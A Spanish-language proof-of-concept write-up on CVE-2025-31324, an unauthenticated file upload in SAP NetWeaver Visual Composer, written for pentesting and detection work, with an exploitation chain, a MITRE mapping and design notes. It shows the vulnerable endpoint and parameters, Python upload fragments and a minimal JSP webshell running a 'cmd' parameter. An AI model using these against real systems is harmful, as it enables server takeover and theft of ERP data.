
Prueba de concepto del exploit para CVE-2025-31324, una subida de archivos sin autenticación en SAP NetWeaver Visual Composer, con guía de detección, mapeo MITRE y pasos de remediación.
Tipo: Prueba de Concepto — Investigación de Vulnerabilidades CVE: CVE-2025-31324 CVSS: 10.0 Crítico (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Estado: Parcheado — Nota de Seguridad SAP 3594142 + 3604119 Añadido al KEV de CISA: Mayo 2025
⚠️ Este PoC utiliza un archivo JSP benigno ("Hello World") para validar la superficie de ataque sin ejecutar código malicioso. Uso exclusivo en entornos autorizados con fines de pentesting y desarrollo de detecciones.
Desarrollado por: HKK$ cat ./vulnerability_summary.txtLa vulnerabilidad CVE-2025-31324 reside en el componente Visual Composer Metadata Uploader de SAP NetWeaver AS Java — una falla de missing authorization check que permite a cualquier atacante no autenticado enviar solicitudes POST al endpoint /developmentserver/metadatauploader, resultando en una subida irrestricta de archivos arbitrarios.
El CVE afecta específicamente al SAP NetWeaver Visual Composer Framework versión 7.50, con una puntuación CVSS de 10.0 — el máximo posible.
Los actores de amenazas explotaron activamente esta vulnerabilidad de enero a mayo de 2025, implantando webshells persistentes en cientos de sistemas en todo el mundo.
$ cat ./impact.txtAl operar con privilegios elevados y estar cerca de datos ERP, el movimiento lateral hacia stacks SAP ABAP o bases de datos conectadas es trivial después de la explotación.
La cadena de explotación completa en ataques reales:
Subida JSP (CVE-2025-31324)
→ Webshell persistente en el servidor
→ RCE como proceso SAP (alto privilegio)
→ Acceso a datos ERP (Finanzas, RRHH, Cadena de Suministro)
→ Movimiento lateral hacia ABAP / DB
→ Despliegue de frameworks C2 (ej: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — FLUJO DE EXPLOTACIÓN │
│ │
│ ATACANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Cuerpo: archivo JSP/WAR/cualquiera ──────► │ Metadata Uploader │ │
│ (sin autenticación) │ │ │
│ │ ❌ Sin verificación │ │
│ │ de auth │ │
│ │ ❌ Sin validación │ │
│ │ de extensión │ │
│ │ ❌ Sin sanitización │ │
│ │ de contenido │ │
│ └────────┬────────────┘ │
│ │ │
│ Archivo guardado en: │
│ /irj/root/ o similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit real) │
└─────────────────────────────────────────────────────────────────────────┘
El /developmentserver/metadatauploader forma parte del SAP Visual Composer — una herramienta de desarrollo low-code para que analistas de negocio creen aplicaciones SAP sin código Java. El endpoint fue diseñado para recibir modelos de metadata durante el desarrollo. Aunque el componente no está habilitado en la configuración predeterminada de NetWeaver, Onapsis informó que está ampliamente activado en entornos de producción.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
¿Por qué JSP y no otro formato?
SAP NetWeaver AS Java ejecuta una JVM — los archivos .jsp son interpretados directamente por el contenedor de servlets (Apache Tomcat embebido) sin compilación previa. Esto convierte a JSP en el formato ideal para webshells en entornos Java.
La elección del contenido benigno ("Hello World") es deliberada para el PoC:
En una explotación real, el contenido sería un webshell JSP con ejecución de comandos, ej:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — ¿Por qué ese Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
El endpoint espera una solicitud multipart/form-data — el mismo formato utilizado por los formularios HTML de subida de archivos. Esto es intencional en el diseño original de Visual Composer (subida de modelos de desarrollo).
La biblioteca requests construye automáticamente los boundaries del multipart cuando se pasa files= — el header Content-Type: multipart/form-data; boundary=... se genera internamente.
verify=False: deshabilita la validación del certificado TLS — necesario porque los entornos SAP frecuentemente usan certificados self-signed. En producción, usar verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Componente | Significado |
|---|---|
:50201 | Puerto predeterminado del SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet de desarrollo de Visual Composer |
metadatauploader | Endpoint específico de subida de metadatos |
CONTENTTYPE=MODEL | Tipo de contenido esperado por el endpoint |
CLIENT=1 | Mandante SAP (client) — 000, 100, 001 son comunes |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Explotación del endpoint /developmentserver/metadatauploader
# sin autenticación vía HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# Webshell JSP subido → ejecutado por el contenedor de servlets (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell como mecanismo de persistencia
# El archivo JSP persiste en el filesystem del servidor entre reinicios
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells nombrados como archivos legítimos de SAP (ej: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Post-RCE: enumerar procesos, usuarios, rutas SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Acceso al stack ABAP, bases de datos conectadas vía RCE
tactic: Collection
- T1005 # Data from Local System
# Acceso directo a datos ERP (Finanzas, RRHH, Cadena de Suministro)
$ cat ./affected_versions.txt